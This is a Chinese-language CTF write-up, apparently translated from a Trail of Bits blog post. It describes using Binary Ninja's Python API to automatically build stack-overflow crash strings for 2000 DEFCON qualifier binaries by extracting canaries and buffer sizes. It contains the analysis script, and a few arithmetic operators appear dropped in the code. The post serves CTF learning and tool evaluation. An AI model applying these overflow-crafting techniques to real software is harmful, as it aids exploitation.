利用Binary Ninja自动化分析2000个二进制漏洞

本文详细介绍了如何使用Binary Ninja的Python API自动化分析DEFCON CTF中的2000个二进制文件,包括提取金丝雀值、缓冲区大小计算和漏洞利用字符串生成的技术细节。

2000次Binary Ninja切割 - Trail of Bits博客

使用Vector35的Binary Ninja(一个前景广阔的交互式静态分析和逆向工程平台),我编写了一个脚本,为今年DEFCON CTF资格赛中的2000个独特二进制文件生成了"漏洞利用"。

如果你想知道如何在后DARPA时代的DEFCON CTF中保持竞争力,我强烈建议你关注Binary Ninja。

在分享我如何攻克三个挑战——334次切割、666次切割和1000次切割——之前,我必须感谢让我完成这项工作的工具。

与我的IDA体验(用胶带和祈祷维系)相比,Binary Ninja的工作流程令人愉悦。它在其自己的中间语言(IL)上进行分析,该语言通过Python和C++ API暴露。查询代码块、函数、跟踪执行流、查询寄存器状态以及许多在IDA中看似艰巨的任务都相对简单。

这为DEFCON CTF中常见的基于栈的缓冲区溢出和未加固的堆利用带来了一种受欢迎的分散注意力的方式。

由于CTF竞赛的初衷是帮助人们提高,我将选择限制在大多数参与者可以使用的范围内。没有Binary Ninja,我将不得不:

  • 使用IDA和IDAPython;一个更昂贵且不愉快的选择。
  • 开发一个网络推理系统;对大多数参与者来说不现实。
  • 手动逆向二进制文件;考虑到二进制文件的数量,这几乎不可能。

这些都不如Binary Ninja有吸引力。

Binary Ninja如何加速CTF工作

今年的资格赛挑战 heavily focused on preparing competitors for the Cyber Grand Challenge (CGC). 整整三分之一的挑战是基于DECREE的。有几个需要CGC风格的"漏洞证明"利用。今年决赛将基于DECREE,因此获胜的CGC机器人可以"对抗"人类竞争者。DEFCON CTF在其历史上首次放弃了攻防模式。

挑战 #1:334次切割

第一个挑战334次切割没有提供太多方向。我首先连接到挑战服务:

1
2
3
$ nc 334_cuts_22ffeb97cf4f6ddb1802bf64c03e2aab.quals.shallweplayaga.me 10334
send your crash string as base64, followed by a newline
easy-prasky-with-buffalo-on-bing

好的,所以它希望我们崩溃服务,没问题;我已经从之前的挑战中获得了该服务的崩溃输入字符串。

1
2
3
4
5
$ nc 334_cuts_22ffeb97cf4f6ddb1802bf64c03e2aab.quals.shallweplayaga.me 10334
send your crash string as base64, followed by a newline
easy-prasky-with-buffalo-on-bing
YWFhYWFhYWFhYWFhYWFhYWFhYWFsZGR3YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYQo=
easy-biroldo-with-mayonnaise-on-multigrain

我没有预料到第一个之后会有第二个挑战名称。我猜我现在需要崩溃几个服务。接下来我提取了tarball。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$ tar jxf 334_cuts.tar.bz2
$ ls 334_cuts
334_cuts/easy-alheira-with-bagoong-on-ngome*
334_cuts/easy-cumberland-with-gribiche-on-focaccia*
334_cuts/easy-kielbasa-with-skhug-on-scone*
334_cuts/easy-mustamakkara-with-pickapeppa-on-soda*
334_cuts/easy-alheira-with-garum-on-pikelet*
334_cuts/easy-cumberland-with-khrenovina-on-white*
334_cuts/easy-krakowska-with-franks-on-pikelet*
334_cuts/easy-mustamakkara-with-shottsuru-on-naan*
...
$ ls 334_cuts | wc -l
334

嗯,有334个DECREE挑战二进制文件,都有与食物相关的名称。好吧,是时候把它们扔进Binja了。从easy-biroldo-with-mayonnaise-on-multigrain开始。DECREE挑战二进制文件实际上是ELF二进制文件(在Linux和FreeBSD上使用),所以它们可以用Binja的ELF加载器很好地加载。

Binary Ninja有一个简单流畅的界面。

这个挑战二进制文件相当简单,几乎与easy-prasky-with-buffalo-on-bing相同。每个挑战二进制文件都被剥离了符号,有一个静态栈缓冲区、一个金丝雀和一个基于栈的缓冲区溢出。金丝雀被复制到栈上,并与硬编码值进行检查。如果金丝雀被覆盖,挑战终止并且不会崩溃。任何溢出都必须确保金丝雀值被覆盖为预期值。事实证明,所有334个挑战只在四个方面不同:

  • 你溢出的缓冲区的大小
  • 金丝雀字符串及其长度
  • recvmsg函数中栈缓冲区的大小
  • writemsg函数在其写入循环的每次迭代中处理的数据量

我们的崩溃字符串必须精确溢出栈缓冲区,并在334个二进制文件中的每一个中通过金丝雀检查。最好自动化收集这些信息。幸运的是,Binja可以从Python用作无头分析引擎!

我们首先将binja导入我们的python脚本并创建一个二进制视图。二进制视图是我们与Binja分析的主要接口。

1
2
3
4
5
6
import binaryninja

print "Analyzing {0}".format(chal)
bv = binaryninja.BinaryViewType["ELF"].open(chal)
bv.update_analysis()
time.sleep(0.1) # Bandaid for now

我最初试图在不查看大多数挑战二进制文件的情况下创建一个通用解决方案,所以我以编程方式找到了main函数。我通过从入口点开始并知道它进行了两次调用来做到这一点。

1
2
print "Entry Point: {0:x}".format(bv.entry_point)
entry = bv.entry_function # Get the entry point as a function object

从入口点,我知道有两次调用,第二次是我想要的。类似地,我知道下一个函数有一个调用,并且该调用是我想要跟随到main的调用。我所有的分析都使用了Binja的LowLevelIL。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
count = 0
start = None
# Iterate over the basic blocks in the entry function
for block in entry.low_level_il:
    # Iterate over the basic blocks getting il instructions
    for il in block:
        # We only care about calls
        if il.operation != binaryninja.core.LLIL_CALL:
            continue
        # The second call is the call to start
        count += 1
        if count == 2:
            start = bv.get_functions_at(il.operands[0].value)[0]
            break
print "start: {0}".format(start)

# Do the same thing with main, it's the first call in start
main = None
for block in start.low_level_il:
    for il in block:
        if il.operation != binaryninja.core.LLIL_CALL:
            continue
        main = bv.get_functions_at(il.operands[0].value)[0]
print "main: {0}".format(main)

一旦我们有了对main的引用,真正的乐趣就开始了。

Binary Ninja在LowLevelIL模式中。

我们需要弄清楚的第一件事是金丝雀字符串。我采用的方法是收集所有调用指令的引用:

1
2
3
4
5
calls = []
for block in main.low_level_il:
    for il in block:
        if il.operation == binaryninja.core.LLIL_CALL:
            calls.append(il)

然后我知道第一个调用是memcpy,第二个是recvmsg,第三个是金丝雀memcmp。这里有一个小问题,有时编译器会内联memcpy。当金丝雀字符串长度小于16字节时会发生这种情况。

这个挑战二进制文件有一个内联memcpy。 :(

这是一个简单的修复,因为我现在计算函数中的调用次数并相应地调整我的偏移量:

1
2
3
4
5
6
if len(calls) == 5:
    memcmp = calls[1]
    read_buf = calls[0]
else:
    memcmp = calls[2]
    read_buf = calls[1]

为了提取金丝雀和金丝雀缓冲区的大小,我使用了新引入的get_parameter_at()函数。这个函数太棒了:在任何调用站点,它允许你查询关于调用约定和系统架构的函数参数。我用它来查询对memcmp调用的所有参数。

1
2
3
4
5
6
7
# get_parameter_at takes the architecture, the caller site, a calling
# convention (None = cdecl), and a parameter number
canary_frame = main.get_parameter_at(bv.arch, memcmp.address, None, 0)
canary_address = main.get_parameter_at(bv.arch, memcmp.address, None, 1)
canary_width = main.get_parameter_at(bv.arch, memcmp.address, None, 2)
canary = bv.read(canary_address.value, canary_width.value)
print "Canary: {0}".format(canary)

接下来我需要知道要溢出的缓冲区有多大。为此,我再次使用get_parameter_at()查询read_buf调用的第一个参数。这指向我们将溢出的栈缓冲区。我们可以通过减去金丝雀栈缓冲区的偏移量来计算其大小。

1
2
3
4
buffer_frame = main.get_parameter_at(bv.arch, read_buf.address, None, 0)
# The canary is between the buffer and the saved stack registers
buffer_size = (buffer_frame.offset  canary_frame.offset) * -1
print "Buffer Size: {0} 0x{0:x}".format(buffer_size)

事实证明,其他两个变量无关紧要。这两条信息就是我们制作崩溃字符串所需的全部。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# Fill up the buffer
crash_string = "a" * buffer_size
# Append the first 4 bytes of the canary check (it's always 4)
crash_string += canary[:4]
# Pad out the rest of the string canary buffer
crash_string += "a" * ((canary_frame.offset *  1)  4)
# overwrite the saved register
crash_string += 'eeee'
crash_string += '\n'

# Send the crashing string to the service
b64 = base64.b64encode(crash_string)
print chal, canary, crash_string.strip(), b64

我将所有这些逻辑粘合在一起,并将其应用于334个挑战。它提示我输入10个崩溃字符串,然后给了我flag: baby’s first crs cirvyudta.

挑战 #2:666次切割

开始,我再次用netcat连接:

1
2
3
$ nc 666_cuts_e38431570c1b4b397fa1026bb71a0576.quals.shallweplayaga.me 10666
send your crash string as base64, followed by a newline
medium-chorizo-with-chutney-on-bammy

我期待666个挑战二进制文件。

1
2
3
4
5
6
7
8
9
$ tar jxf 666_cuts.tar.bz2
$ ls 666_cuts
666_cuts/medium-alheira-with-khrenovina-on-marraqueta*
666_cuts/medium-cumberland-with-hollandaise-on-bannock*
666_cuts/medium-krakowska-with-doubanjiang-on-pita*
666_cuts/medium-newmarket-with-pickapeppa-on-cholermus*
$ ls 666_cuts | wc -l
666

和之前一样的游戏,我随机扔一个二进制文件到binja,它几乎与334中的集合相同。此时我想知道相同的脚本是否适用于这个挑战。我修改它以连接到新服务并运行它。新服务提供10个挑战二进制文件名来崩溃,我的脚本提供10个崩溃字符串,然后打印flag: you think this is the real quaid DeifCokIj.

挑战 #3:1000次切割

你懂的,1000个挑战,相同的脚本,flag是: do you want a thousand bandages gruanfir3.

改进空间

Binary Ninja显示了很多前景,但它还有很长的路要走。在未来的版本中,我希望看到SSA和灵活类型系统的加入。一旦SSA添加到Binary Ninja,将更容易识别应用程序中的数据流,告诉类型何时更改,并确定栈槽何时被重用。它也是一个有助于构建反编译器的基本功能。

结论

从其丝般流畅的图形视图到其中间语言,再到其与Python的智能集成,Binary Ninja为静态二进制分析提供了一个梦幻般的界面。以最小的努力,它让我快速轻松地从2000个二进制文件中提取数据。

这里更大的故事是:增强我们的能力并将机械效率与人类直觉结合起来是可能的。事实上,我会说这是可取的。如果我们完全依赖机器,我们不会变得更安全。相反,我们应该专注于构建使我们更有效的工具;像Binary Ninja这样的工具。

如果你同意,给Binary Ninja一个机会。在不到一年的开发中,它已经超出了其重量级。期待我自己和Trail of Bits的其余部分有更多的粉丝行为——尤其是随着Binary Ninja继续改进。

我的(略微更新的)脚本可在此处获得。为了历史,原始版本可在此处获得。

Binary Ninja目前处于私人测试阶段,并有一个公共Slack。

更新(2016年8月25日):Binary Ninja现在以两种形式公开可用:商业(399美元)和个人(99美元)。这里介绍的脚本使用了仅在商业版中可用的"无GUI处理"功能。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计